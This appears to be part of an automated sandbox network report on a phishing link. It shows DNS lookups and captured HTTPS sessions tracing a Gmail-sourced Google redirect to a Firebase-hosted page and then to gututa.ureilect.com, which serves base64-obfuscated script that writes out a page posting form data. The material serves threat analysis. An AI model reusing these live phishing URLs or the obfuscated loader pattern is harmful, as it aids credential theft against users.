Apr 25, 2024 00:49:25.935743093 CEST	192.168.2.16	1.1.1.1	0xf584	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:25.935884953 CEST	192.168.2.16	1.1.1.1	0x404	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 00:49:27.087198019 CEST	192.168.2.16	1.1.1.1	0xee25	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:27.087479115 CEST	192.168.2.16	1.1.1.1	0xdbd3	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 00:49:28.347106934 CEST	192.168.2.16	1.1.1.1	0xb3ab	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:28.347223043 CEST	192.168.2.16	1.1.1.1	0xb70b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 00:49:29.347851038 CEST	192.168.2.16	1.1.1.1	0x9c1	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:29.347969055 CEST	192.168.2.16	1.1.1.1	0x8cb8	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 00:49:22.802093029 CEST	1.1.1.1	192.168.2.16	0xac42	No error (0)	www.google.com.np	142.250.105.94	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.410929918 CEST	1.1.1.1	192.168.2.16	0x1395	No error (0)	www.google.com	74.125.136.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.410929918 CEST	1.1.1.1	192.168.2.16	0x1395	No error (0)	www.google.com	74.125.136.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.410929918 CEST	1.1.1.1	192.168.2.16	0x1395	No error (0)	www.google.com	74.125.136.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.410929918 CEST	1.1.1.1	192.168.2.16	0x1395	No error (0)	www.google.com	74.125.136.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.410929918 CEST	1.1.1.1	192.168.2.16	0x1395	No error (0)	www.google.com	74.125.136.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.410929918 CEST	1.1.1.1	192.168.2.16	0x1395	No error (0)	www.google.com	74.125.136.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.411180973 CEST	1.1.1.1	192.168.2.16	0x3c73	No error (0)	www.google.com		65	IN (0x0001)	false
Apr 25, 2024 00:49:25.014524937 CEST	1.1.1.1	192.168.2.16	0xc8b3	No error (0)	gututa.ureilect.com		65	IN (0x0001)	false
Apr 25, 2024 00:49:25.039485931 CEST	1.1.1.1	192.168.2.16	0x856f	No error (0)	gututa.ureilect.com	104.21.57.92	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:25.039485931 CEST	1.1.1.1	192.168.2.16	0x856f	No error (0)	gututa.ureilect.com	172.67.190.14	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:26.047115088 CEST	1.1.1.1	192.168.2.16	0xc686	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:26.047115088 CEST	1.1.1.1	192.168.2.16	0xc686	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:26.047115088 CEST	1.1.1.1	192.168.2.16	0xc686	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:26.047115088 CEST	1.1.1.1	192.168.2.16	0xc686	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:26.048564911 CEST	1.1.1.1	192.168.2.16	0xf584	No error (0)	challenges.cloudflare.com	104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:26.048564911 CEST	1.1.1.1	192.168.2.16	0xf584	No error (0)	challenges.cloudflare.com	104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:26.048930883 CEST	1.1.1.1	192.168.2.16	0x404	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Apr 25, 2024 00:49:27.197138071 CEST	1.1.1.1	192.168.2.16	0xee25	No error (0)	challenges.cloudflare.com	104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:27.197138071 CEST	1.1.1.1	192.168.2.16	0xee25	No error (0)	challenges.cloudflare.com	104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:27.197434902 CEST	1.1.1.1	192.168.2.16	0xdbd3	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Apr 25, 2024 00:49:28.457932949 CEST	1.1.1.1	192.168.2.16	0xb70b	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Apr 25, 2024 00:49:28.458085060 CEST	1.1.1.1	192.168.2.16	0xb3ab	No error (0)	challenges.cloudflare.com	104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:28.458085060 CEST	1.1.1.1	192.168.2.16	0xb3ab	No error (0)	challenges.cloudflare.com	104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:29.457842112 CEST	1.1.1.1	192.168.2.16	0x9c1	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com.np

www.google.com

https:

gututa.ureilect.com

challenges.cloudflare.com

code.jquery.com

a.nel.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49705	142.250.105.94	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:23 UTC	1127	OUT	GET /amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail HTTP/1.1 Host: www.google.com.np Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:23 UTC	2080	IN	HTTP/1.1 302 Found Location: https://www.google.com/url?sa=D&q=https://firebasestorage.googleapis.com/v0/b/my-awesome-project-id-35889.appspot.com/o/sos.html%3Falt%3Dmedia%26token%3D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c&ust=1714080900000000&usg=AOvVaw34yUu7IQGPgWBmXhCFwzfl&hl=en&source=gmail Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-RrdPN-ApMzRwOF8awO_u6A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Wed, 24 Apr 2024 22:49:23 GMT Server: gws Content-Length: 479 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-24-22; expires=Fri, 24-May-2024 22:49:23 GMT; path=/; domain=.google.com.np; Secure; SameSite=none Set-Cookie: NID=513=BEJ0hzZWSia3AIelo6Dnk2aCSK5LCDCfBZw1ePmpV2COW_7ZSDl-ifBEyNv56IDV5Afc6r8ZTXm7M4mUwsIXKn-D6rwWk9sj2A40-s3JDRJmKO8Jbv7jByvkZmGjSre84FIzh4Nc287kvZi_OTk4QFDBgnpm42eO0kXmC-q2vTc; expires=Thu, 24-Oct-2024 22:49:23 GMT; path=/; domain=.google.com.np; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 22:49:23 UTC	479	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 73 61 3d 44 26 61 6d 70 3b 71 3d 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61 73 65 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 6d 79 2d 61 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/url?sa=D&q=https://firebasestorage.googleapis.com/v0/b/my-aw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49708	74.125.136.106	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:23 UTC	1053	OUT	GET /url?sa=D&q=https://firebasestorage.googleapis.com/v0/b/my-awesome-project-id-35889.appspot.com/o/sos.html%3Falt%3Dmedia%26token%3D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c&ust=1714080900000000&usg=AOvVaw34yUu7IQGPgWBmXhCFwzfl&hl=en&source=gmail HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:23 UTC	1400	IN	HTTP/1.1 200 OK Location: https://firebasestorage.googleapis.com/v0/b/my-awesome-project-id-35889.appspot.com/o/sos.html?alt=media&token=8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Wed, 24 Apr 2024 22:49:23 GMT Server: gws Content-Length: 714 X-XSS-Protection: 0 Expires: Wed, 24 Apr 2024 22:49:23 GMT Set-Cookie: NID=513=PjCKBcIK2KgUN1ORtpAHOwDS45WI58v53Kwu2fcvtL4S7zqTmEzD4Kv51dOUA46enVaATS5nQ2bJRrYYtFkq7hcjZ75Aw4BW6ldpSBkhNny3IQ7w2RUo2mE2uT9D0t7C4rCWvNFBulV2gclewlZ0OSY1JjIYJg4PID_lIAppS6o; expires=Thu, 24-Oct-2024 22:49:23 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 22:49:23 UTC	714	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61 73 65 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 6d 79 2d 61 77 65 73 6f 6d 65 2d 70 72 6f 6a 65 63 74 2d 69 64 2d 33 35 38 38 39 2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 73 6f 73 2e 68 74 6d 6c 3f 61 6c 74 3d 6d 65 64 69 61 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>Redirecting</TITLE><META HTTP-EQUIV="refresh" content="1; url=https://firebasestorage.googleapis.com/v0/b/my-awesome-project-id-35889.appspot.com/o/sos.html?alt=media&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49713	104.21.57.92	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:25 UTC	707	OUT	GET /1MZ153uW/ HTTP/1.1 Host: gututa.ureilect.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://firebasestorage.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:25 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=55UOvu5iW2BxfQ1tkXlNPaVJb%2FdY2YgiIplJUiIAIfaC7%2Bhj27TP5%2F%2FOhCgTJ6YmhhIuB2Dkw0%2FVRGnMhRP24BA88DHVLeURO%2B7YPq8rg1gWH95N4d97UAApPykIjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlNyNG1TTUtJR01Hb0UrT3FEN0g2RkE9PSIsInZhbHVlIjoiRlBXMVB2Wnhoczk5c3FuTEQ0Z2dVZmU5UVpLWkExaENXNjNEL1h1SGlTSm1YRTg0Tm9UM3M0RWhCbFN2aHFWbVJsQzZIY2p0ZUkyanVndlNXYmpEVFNreWRBeW1GelgyM252MTBHdW5kU0VrQndSdktvSTh3dmhpR1E2UmxkbEYiLCJtYWMiOiJjZjIzN2FlZDAxYjYzMDRhM2U1Zjk0Mjg1MzJmNGEzN2FkYTY3ZTVlZTk4NTI1MDNjZTk5ZjM3MDBmNmFjNjNlIiwidGFnIjoiIn0%3D; expires=Thu, 25-Apr-2024 00:49:25 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 22:49:25 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 52 72 57 54 56 58 63 47 68 73 63 57 67 77 4d 46 68 59 62 6b 46 76 4d 47 46 43 56 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 6a 6c 33 62 30 5a 4a 64 6d 77 33 61 6d 4d 78 54 6b 39 73 57 45 46 6e 53 33 6c 7a 57 45 56 55 56 6b 68 32 53 6e 64 6b 4d 6e 68 6c 61 32 78 31 62 55 39 48 4f 56 42 53 65 46 5a 68 4f 56 6f 33 4e 58 6b 32 55 48 56 32 59 6a 5a 72 55 55 31 6b 5a 58 6c 6d 59 6d 78 57 57 57 74 4e 51 6b 77 30 52 30 52 4e 62 54 6b 33 55 45 4a 57 4f 58 49 33 63 6d 68 59 56 7a 41 34 64 58 52 6f 4d 30 59 78 4d 58 52 5a 52 7a 51 7a 64 47 4a 71 65 6a 59 72 64 58 70 4f 64 45 74 61 63 54 56 50 57 48 46 56 62 57 4a 6d 4d 58 70 5a 52 54 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkRrWTVXcGhscWgwMFhYbkFvMGFCVnc9PSIsInZhbHVlIjoiYjl3b0ZJdmw3amMxTk9sWEFnS3lzWEVUVkh2SndkMnhla2x1bU9HOVBSeFZhOVo3NXk2UHV2YjZrUU1kZXlmYmxWWWtNQkw0R0RNbTk3UEJWOXI3cmhYVzA4dXRoM0YxMXRZRzQzdGJqejYrdXpOdEtacTVPWHFVbWJmMXpZRTM
2024-04-24 22:49:25 UTC	1369	IN	Data Raw: 31 38 31 32 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 1812<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
2024-04-24 22:49:25 UTC	1369	IN	Data Raw: 44 51 6f 67 49 47 39 32 5a 58 4a 6d 62 47 39 33 4f 69 42 6f 61 57 52 6b 5a 57 34 37 44 51 70 39 44 51 6f 6a 63 55 46 53 63 48 56 76 52 30 5a 61 53 69 42 6f 4e 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 41 37 62 57 46 79 5a 32 6c 75 4c 57 4a 76 64 48 52 76 62 54 6f 75 4e 58 4a 6c 62 54 74 6d 62 32 35 30 4c 58 64 6c 61 57 64 6f 64 44 6f 31 4d 44 41 37 62 47 6c 75 5a 53 31 6f 5a 57 6c 6e 61 48 51 36 4d 53 34 79 4f 33 30 4e 43 69 4e 78 51 56 4a 77 64 57 39 48 52 6c 70 4b 49 47 67 30 65 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 70 6a 59 57 78 6a 4b 44 45 75 4d 79 6b 37 66 51 30 4b 51 47 31 6c 5a 47 6c 68 49 43 68 74 61 57 34 74 64 32 6c 6b 64 47 67 36 4d 54 49 77 4d 48 42 34 4b 58 73 4e 43 69 4e 78 51 56 4a 77 64 57 39 48 52 6c 70 4b 49 47 67 30 65 32 5a Data Ascii: DQogIG92ZXJmbG93OiBoaWRkZW47DQp9DQojcUFScHVvR0ZaSiBoNHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTouNXJlbTtmb250LXdlaWdodDo1MDA7bGluZS1oZWlnaHQ6MS4yO30NCiNxQVJwdW9HRlpKIGg0e2ZvbnQtc2l6ZTpjYWxjKDEuMyk7fQ0KQG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsNCiNxQVJwdW9HRlpKIGg0e2Z
2024-04-24 22:49:25 UTC	1369	IN	Data Raw: 54 49 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 41 75 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 33 46 42 55 6e 42 31 62 30 64 47 57 6b 6f 67 4c 6d 67 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 47 4e 68 62 47 4d 6f 4c 6a 6b 77 4d 48 4a 6c 62 53 41 72 49 43 34 7a 64 6e 63 70 4f 33 30 4e 43 69 4e 78 51 56 4a 77 64 57 39 48 52 6c 70 4b 49 43 35 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 74 59 32 56 75 64 47 56 79 65 32 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 44 70 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 78 51 56 4a 77 64 57 39 48 52 6c 70 4b 4c 6d 31 30 4c 54 56 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 7a 63 6d 56 74 Data Ascii: TIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI3FBUnB1b0dGWkogLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiNxQVJwdW9HRlpKIC5qdXN0aWZ5LWNvbnRlbnQtY2VudGVye2p1c3RpZnktY29udGVudDpjZW50ZXIhaW1wb3J0YW50O30NCiNxQVJwdW9HRlpKLm10LTV7bWFyZ2luLXRvcDozcmVt
2024-04-24 22:49:25 UTC	1369	IN	Data Raw: 56 6c 50 53 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 5a 70 63 6d 56 69 59 58 4e 6c 63 33 52 76 63 6d 46 6e 5a 53 35 6e 62 32 39 6e 62 47 56 68 63 47 6c 7a 4c 6d 4e 76 62 53 38 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 31 59 53 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 56 68 49 69 42 32 59 57 78 31 5a 54 30 69 54 57 39 36 61 57 78 73 59 53 38 31 4c 6a 41 67 4b 46 64 70 62 6d 52 76 64 33 4d 67 54 6c 51 67 4d 54 41 75 4d 44 73 67 56 32 6c 75 4e 6a 51 37 49 48 67 32 4e 43 6b 67 51 58 42 77 62 47 56 58 5a 57 4a 4c 61 58 51 76 4e 54 4d 33 4c 6a 4d 32 49 43 68 4c 53 46 52 4e 54 43 77 67 62 47 6c 72 5a 53 42 48 5a 57 4e 72 62 79 6b 67 51 32 68 79 62 32 31 6c 4c 7a 45 78 4e Data Ascii: VlPSJodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS8iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGR1YSIgbmFtZT0iYmx0ZHVhIiB2YWx1ZT0iTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExN
2024-04-24 22:49:25 UTC	694	IN	Data Raw: 67 49 43 41 67 49 43 42 74 5a 58 52 6f 62 32 51 36 49 43 4a 51 54 31 4e 55 49 69 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 4a 76 5a 48 6b 36 49 47 35 6c 64 79 42 47 62 33 4a 74 52 47 46 30 59 53 68 5a 57 6c 46 6f 64 46 64 59 64 6e 42 75 4b 51 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 48 4a 6c 63 33 42 76 62 6e 4e 6c 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 79 5a 58 4e 77 62 32 35 7a 5a 53 35 71 63 32 39 75 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 70 5a 69 68 6b 59 58 52 68 57 79 64 7a 64 47 46 30 64 58 4d 6e 58 53 Data Ascii: gICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgICAgIGJvZHk6IG5ldyBGb3JtRGF0YShZWlFodFdYdnBuKQ0KICAgICAgICB9KS50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7DQogICAgICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICAgICAgICBpZihkYXRhWydzdGF0dXMnXS
